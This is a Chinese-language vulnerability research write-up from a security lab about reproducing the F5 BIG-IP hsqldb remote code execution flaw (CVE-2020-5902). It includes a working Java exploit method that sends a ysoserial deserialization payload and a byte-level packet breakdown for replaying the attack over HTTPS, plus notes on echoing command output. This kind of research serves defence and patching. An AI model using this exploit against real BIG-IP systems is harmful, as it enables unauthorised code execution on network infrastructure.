F5 BIG-IP hsqldb(CVE-2020-5902) 漏洞踩坑分析

Seebug漏洞平台

发布于 2020-07-16 10:08:59

8540

发布于 2020-07-16 10:08:59

作者：Longofo@知道创宇404实验室 时间：2020年7月10日

F5 BIG-IP最近发生了一次比较严重的RCE漏洞，其中主要公开出来的入口就是tmsh与hsqldb方式，tmsh的利用与分析分析比较多了，如果复现过tmsh的利用，就应该知道这个地方利用有些鸡肋，后面不对tmsh进行分析，主要看下hsqldb的利用。hsqldb的利用poc[1]已经公开，但是java hsqldb的https导致一直无法复现，尝试了各种方式也没办法了，只好换其他思路，下面记录下复现与踩坑的过程。

利用源码搭建一个hsqldb http servlet

如果调试过hsqldb，就应该知道hsqldb.jar的代码是无法下断点调试的，这是因为hsqldb中类的linenumber table信息没有了，linenumber table只是用于调式用的，对于代码的正常运行没有任何影响。看下正常编译的类与hqldb类的lineumber table区别：

使用javap -verbose hsqlServlet.class命令看下hsqldb中hsqlServlet.class类的详细信息：

Classfile /C:/Users/dell/Desktop/hsqlServlet.class
  Last modified 2018-11-14; size 128 bytes
  MD5 checksum 578c775f3dfccbf4e1e756a582e9f05c
public class hsqlServlet extends org.hsqldb.Servlet
  minor version: 0
  major version: 51
  flags: ACC_PUBLIC, ACC_SUPER
Constant pool:
   #1 = Methodref          #3.#7          // org/hsqldb/Servlet."<init>":()V
   #2 = Class              #8             // hsqlServlet
   #3 = Class              #9             // org/hsqldb/Servlet
   #4 = Utf8               <init>
   #5 = Utf8               ()V
   #6 = Utf8               Code
   #7 = NameAndType        #4:#5          // "<init>":()V
   #8 = Utf8               hsqlServlet
   #9 = Utf8               org/hsqldb/Servlet
{
  public hsqlServlet();
    descriptor: ()V
    flags: ACC_PUBLIC
    Code:
      stack=1, locals=1, args_size=1
         0: aload_0
         1: invokespecial #1                  // Method org/hsqldb/Servlet."<init>":()V
         4: return
}

使用javap -verbose Test.class看下自己编译的类信息：

Classfile /C:/Users/dell/Desktop/Test.class
  Last modified 2020-7-13; size 586 bytes
  MD5 checksum eea80d1f399295a29f02f30a3764ff25
  Compiled from "Test.java"
public class Test
  minor version: 0
  major version: 51
  flags: ACC_PUBLIC, ACC_SUPER
Constant pool:
   #1 = Methodref          #7.#22         // java/lang/Object."<init>":()V
   #2 = Fieldref           #23.#24        // java/lang/System.out:Ljava/io/PrintStream;
   #3 = String             #25            // aaa
   #4 = Methodref          #26.#27        // java/io/PrintStream.println:(Ljava/lang/String;)V
   #5 = String             #19            // test
   #6 = Class              #28            // Test
   #7 = Class              #29            // java/lang/Object
   #8 = Utf8               <init>
   #9 = Utf8               ()V
  #10 = Utf8               Code
  #11 = Utf8               LineNumberTable
  #12 = Utf8               LocalVariableTable
  #13 = Utf8               this
  #14 = Utf8               LTest;
  #15 = Utf8               main
  #16 = Utf8               ([Ljava/lang/String;)V
  #17 = Utf8               args
  #18 = Utf8               [Ljava/lang/String;
  #19 = Utf8               test
  #20 = Utf8               SourceFile
  #21 = Utf8               Test.java
  #22 = NameAndType        #8:#9          // "<init>":()V
  #23 = Class              #30            // java/lang/System
  #24 = NameAndType        #31:#32        // out:Ljava/io/PrintStream;
  #25 = Utf8               aaa
  #26 = Class              #33            // java/io/PrintStream
  #27 = NameAndType        #34:#35        // println:(Ljava/lang/String;)V
  #28 = Utf8               Test
  #29 = Utf8               java/lang/Object
  #30 = Utf8               java/lang/System
  #31 = Utf8               out
  #32 = Utf8               Ljava/io/PrintStream;
  #33 = Utf8               java/io/PrintStream
  #34 = Utf8               println
  #35 = Utf8               (Ljava/lang/String;)V
{
  public Test();
    descriptor: ()V
    flags: ACC_PUBLIC
    Code:
      stack=1, locals=1, args_size=1
         0: aload_0
         1: invokespecial #1                  // Method java/lang/Object."<init>":()V
         4: return
      LineNumberTable:
        line 1: 0
      LocalVariableTable:
        Start  Length  Slot  Name   Signature
            0       5     0  this   LTest;

  public static void main(java.lang.String[]);
    descriptor: ([Ljava/lang/String;)V
    flags: ACC_PUBLIC, ACC_STATIC
    Code:
      stack=2, locals=1, args_size=1
         0: getstatic     #2                  // Field java/lang/System.out:Ljava/io/PrintStream;
         3: ldc           #3                  // String aaa
         5: invokevirtual #4                  // Method java/io/PrintStream.println:(Ljava/lang/String;)V
         8: return
      LineNumberTable:
        line 3: 0
        line 4: 8
      LocalVariableTable:
        Start  Length  Slot  Name   Signature
            0       9     0  args   [Ljava/lang/String;

  public void test();
    descriptor: ()V
    flags: ACC_PUBLIC
    Code:
      stack=2, locals=1, args_size=1
         0: getstatic     #2                  // Field java/lang/System.out:Ljava/io/PrintStream;
         3: ldc           #5                  // String test
         5: invokevirtual #4                  // Method java/io/PrintStream.println:(Ljava/lang/String;)V
         8: return
      LineNumberTable:
        line 7: 0
        line 8: 8
      LocalVariableTable:
        Start  Length  Slot  Name   Signature
            0       9     0  this   LTest;
}
SourceFile: "Test.java"

可以看到自己编译的类中，每个method中都有一个 LineNumberTable，这个信息就是用于调试的信息，但是hsqldb中没有这个信息，所以是无法调试下断点的，hsqldb应该在编译时添加了某些参数或者使用了其他手段来去除这些信息。

没办法调试是一件很难受的事情，我现在想到的有两种：

1. 反编译hsqldb的代码，自己再重新编译，这样就有linenumber信息了，但是反编译再重新编译可能会遇到一些错误问题，这部分得自己手动把代码修改正确，这样确实是可行的，在后面f5的hsqldb分析中可以看到这种方式

2. 代码开源，直接用源码跑

hsqldb的代码正好是开源的，那么这里就直接用源码来开启一个servlet吧。

环境：

• hsqldb source代码是1.8的，现在新版已经2.5.x了，为了和f5中的hsqldb吻合，还是用1.8的代码吧

• JDK7u21，F5 BIG-IP 14版本使用的JDK7，所以这里尽量和它吻合避免各种问题

虽然开源了，但是拖到idea依然还有些问题，我修改了一些代码，让他正常跑起来了，修改好的代码放到github[2]上了，最后项目结构如下：

使用http方式利用hsqldb漏洞(ysoserial cc6，很多其他链也行)：

public static void testLocal() throws IOException, ClassNotFoundException, SQLException {
        String url = "http://localhost:8080";
        String payload = Hex.encodeHexString(Files.readAllBytes(Paths.get("calc.ser")));

        System.out.println(payload);

        String dburl = "jdbc:hsqldb:" + url + "/hsqldb_war_exploded/hsqldb/";
        Class.forName("org.hsqldb.jdbcDriver");

        Connection connection = DriverManager.getConnection(dburl, "sa", "");
        Statement statement = connection.createStatement();
        statement.execute("call \"java.lang.System.setProperty\"('org.apache.commons.collections.enableUnsafeSerialization','true')");
        statement.execute("call \"org.hsqldb.util.ScriptTool.main\"('" + payload + "');");
    }

利用requests发包模拟hsqldb RCE

java hsqldb https问题无法解决，那就用requests来发https包就可以了，先模拟http的包。

抓取上面利用java代码发送的payload包，一共发送了三个，第一个是连接包，连接hsqldb数据库的，第二、三包是执行语句的包：

根据代码看下第一个数据包返回的具体信息，主要读取与写入的信息都是由Result这个类处理的，一共20个字节：

•1~4：总长度00000014，共20字节

•5~8：mode，connection为ResultConstants.UPDATECOUNT，为1，00000001

•9~12：databaseID，如果直接像上面这样默认配置，databaseID在服务端不会赋值，由jdk初始化为0，00000000

•13~16：sessionID，这个值是DatabaseManager.newSession分配的值，每次连接都是一个新的值，本次为00000003

•17~20：connection时，为updateCount，注释上面写的 max rows (out) or update count (in)，如果像上面这样默认配置，updateCount在服务端不会赋值，由jdk初始化为0，00000000

连接信息分析完了，接下来的包肯定会利用到第一次返回包的信息，把他附加到后面发送包中，这里只分析下第二个发送包，第三个包和第二个是一样的，都是执行语句的包：

•1~4：总长度00000082，这里为130

•5~8：mode，这里为ResultConstants.SQLEXECDIRECT，0001000b

•9~12：databaseID，为上面的00000000

•13~16：sessionID，为上面的00000003

•17~20：updateCount，为上面的00000000

•21~25：statementID，这是客户端发送的，其实无关紧要，本次为00000000

•26~30：执行语句的长度

•31~：后面都是执行语句了

可以看到上面这个处理过程很简单，通过这个分析，很容易用requests发包了。对于https来说，只要设置verify=False就行了。

反序列化触发位置

这里反序列化触发位置在：

其实并不是org.hsqldb.util.ScriptTool.main这个地方导致的，而是hsqldb解析器语法解析中途导致的反序列化。将ScriptTool随便换一个都可以，例如org.hsqldb.sample.FindFile.main。

F5 BIG-IP hsqlsdb 调试

如果还想调试下F5 BIG-IP hsqldb，也是可以的，F5 BIG-IP里面的hsqldb自己加了些代码，反编译他的代码，然后修改反编译出来的代码错误，再重新打包放进去，就可以调试了。

F5 BIG-IP hsqldb回显

•既然能反序列化了，那就可以结合Template相关的利用链写到response

•利用命令执行找socket的fd文件，写到socket

•这次本来就有一个fileRead.jsp，命令执行完写到这里就可以了

hsqldb的连接安全隐患

从数据包可以看到，hsqldb第一次返回信息并不多，在后面附加用到的信息也就databaseID，sessionID，updateCount，且都只为4字节（32位），但是总有数字很小的连接排在前面，所以可以通过爆破出可用的databaseID、sessionID、updateCount。不过对于本次的F5 BIG-IP，直接用上面默认的就行了，无需爆破。

总结

虽然写得不多，写完了看起来还挺容易，不过过程其实还是很艰辛的，一开始并不是根据代码看包的，只是发了几个包对比然后就写了个脚本，结果跑不了F5 BIG-IP hsqldb，后面还是调试了F5 hsqldb代码，很多问题需要解决。同时还看到了hsqldb其实是存在一定安全隐患的，如果我们直接爆破databaseID，sessionID，updateCount，也很容易爆破出可用的databaseID，sessionID，updateCount。